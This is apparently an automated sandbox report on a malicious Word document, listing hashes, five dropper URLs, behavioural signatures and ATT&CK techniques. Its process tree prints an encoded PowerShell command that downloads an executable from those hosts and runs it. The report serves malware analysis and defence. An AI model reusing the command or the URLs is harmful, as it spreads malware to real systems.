fe9c9583ab4436654eca500f40a6abef2fb268a7b6ac5cefec4684d0affd8123

General

Target

fe9c9583ab4436654eca500f40a6abef2fb268a7b6ac5cefec4684d0affd8123.doc
Size

123KB
MD5

641f2ef2ba74127c59ea57940b048472
SHA1

e978b4a6d78adc9fbc9b55b2ade60ff3aa781573
SHA256

fe9c9583ab4436654eca500f40a6abef2fb268a7b6ac5cefec4684d0affd8123
SHA512

dd14ca47752326114cdc75ee0d0685481f94a9efd08015d01895d8d237d18e5e5c393bed92d45e9c31ee48257069360eea2e1a4081e8a07e30498ac7817a9016

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://fastassignmenthelp.com/wp-admin/c68595/

exe.dropper

https://www.findsrau.com/wp-admin/erejyr342/

exe.dropper

https://cuasotinhoc.net/wp-content/my714a9/

exe.dropper

https://www.asfmarkets.com/gfkuuqn/wej905a73/

exe.dropper

http://chocodaps.com/wp-content/y9mc70/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4860	1904	powershell.exe

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	process
45	4860	powershell.exe
57	4860	powershell.exe
68	4860	powershell.exe
72	4860	powershell.exe
74	4860	powershell.exe
76	4860	powershell.exe
78	4860	powershell.exe
79	4860	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2988 WINWORD.EXE
2988 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4860 powershell.exe
4860 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4860 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

2988 WINWORD.EXE
2988 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2988 WINWORD.EXE
2988 WINWORD.EXE
2988 WINWORD.EXE
2988 WINWORD.EXE
2988 WINWORD.EXE
2988 WINWORD.EXE
2988 WINWORD.EXE
2988 WINWORD.EXE

pid	process
2988	WINWORD.EXE
2988	WINWORD.EXE

pid	process
4860	powershell.exe
4860	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4860	powershell.exe

pid	process
2988	WINWORD.EXE
2988	WINWORD.EXE

pid	process
2988	WINWORD.EXE
2988	WINWORD.EXE
2988	WINWORD.EXE
2988	WINWORD.EXE
2988	WINWORD.EXE
2988	WINWORD.EXE
2988	WINWORD.EXE
2988	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2988 wrote to memory of 5044	2988	WINWORD.EXE	splwow64.exe
PID 2988 wrote to memory of 5044	2988	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fe9c9583ab4436654eca500f40a6abef2fb268a7b6ac5cefec4684d0affd8123.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2988

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:5044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABYAGoAbgBpAHkAYwBnAG8AagBvAHoAeQA9ACcAWQBoAGkAbQBmAGYAYgB1AGYAaQBwAHcAaAAnADsAJABNAGMAdQB5AGQAegBxAGYAdQByAGIAYQAgAD0AIAAnADgAMAA0ACcAOwAkAEUAcwBmAGkAbwBxAHYAaQBzAHYAbQB4AHQAPQAnAEYAagBzAGgAbgBqAHAAdQB2AHMAZABlAGUAJwA7ACQATgBnAHQAZwBiAG0AegBpAHEAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQBjAHUAeQBkAHoAcQBmAHUAcgBiAGEAKwAnAC4AZQB4AGUAJwA7ACQAVQBsAHoAbgBrAGgAcwBoAD0AJwBMAHoAdABrAHMAZABiAHoAagAnADsAJABDAGMAawBxAGUAZQB6AGcAdgBqAHUAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBsAEkAZQBOAFQAOwAkAEIAZwB5AHgAdQB0AGUAcgBsAHgAcQB5AD0AJwBoAHQAdABwAHMAOgAvAC8AZgBhAHMAdABhAHMAcwBpAGcAbgBtAGUAbgB0AGgAZQBsAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGMANgA4ADUAOQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBmAGkAbgBkAHMAcgBhAHUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGUAcgBlAGoAeQByADMANAAyAC8AKgBoAHQAdABwAHMAOgAvAC8AYwB1AGEAcwBvAHQAaQBuAGgAbwBjAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB5ADcAMQA0AGEAOQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBzAGYAbQBhAHIAawBlAHQAcwAuAGMAbwBtAC8AZwBmAGsAdQB1AHEAbgAvAHcAZQBqADkAMAA1AGEANwAzAC8AKgBoAHQAdABwADoALwAvAGMAaABvAGMAbwBkAGEAcABzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeQA5AG0AYwA3ADAALwAnAC4AIgBzAFAAbABgAGkAdAAiACgAJwAqACcAKQA7ACQAUABuAGIAbQBvAHgAawBxAGwAbABxAD0AJwBCAGIAeABmAHUAcgBtAGMAaQB6AGIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAbgB4AHoAaAB0AHYAeQAgAGkAbgAgACQAQgBnAHkAeAB1AHQAZQByAGwAeABxAHkAKQB7AHQAcgB5AHsAJABDAGMAawBxAGUAZQB6AGcAdgBqAHUALgAiAEQATwBgAHcATgBsAGAATwBhAEQAZgBgAEkATABlACIAKAAkAFkAbgB4AHoAaAB0AHYAeQAsACAAJABOAGcAdABnAGIAbQB6AGkAcQBxACkAOwAkAEsAZABvAGMAZQB1AGgAbwBlAHgAeABhAHYAPQAnAFIAeQB3AHUAagBkAGkAcgBmACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATgBnAHQAZwBiAG0AegBpAHEAcQApAC4AIgBsAEUATgBgAEcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADIAOQA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgB0ACIAKAAkAE4AZwB0AGcAYgBtAHoAaQBxAHEAKQA7ACQAWABsAGgAbwBhAGQAdABuAGgAYgBpAGgAPQAnAEIAdwBkAHoAZgB6AGgAZgBrAGoAJwA7AGIAcgBlAGEAawA7ACQAQQBzAGIAbABpAGgAegBjAGoAPQAnAEoAeAB4AGMAdwBhAHAAcQBvAHkAYQBiAG0AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUABmAGsAcwBhAHgAbAB0AGMAPQAnAFYAcwBhAGgAdQB6AHkAeQB1AGMAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2988-136-0x00007FFA93A00000-0x00007FFA93A10000-memory.dmp

Filesize
64KB

Download
memory/2988-138-0x00000261AE610000-0x00000261AE614000-memory.dmp

Filesize
16KB

Download
memory/2988-132-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-133-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-134-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-135-0x00007FFA93A00000-0x00007FFA93A10000-memory.dmp

Filesize
64KB

Download
memory/2988-131-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-145-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-130-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-144-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-143-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/2988-142-0x00007FFA95C90000-0x00007FFA95CA0000-memory.dmp

Filesize
64KB

Download
memory/4860-140-0x00007FFAAA870000-0x00007FFAAB331000-memory.dmp

Filesize
10.8MB

Download
memory/4860-139-0x0000027934FC0000-0x0000027934FE2000-memory.dmp

Filesize
136KB

Download
memory/5044-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads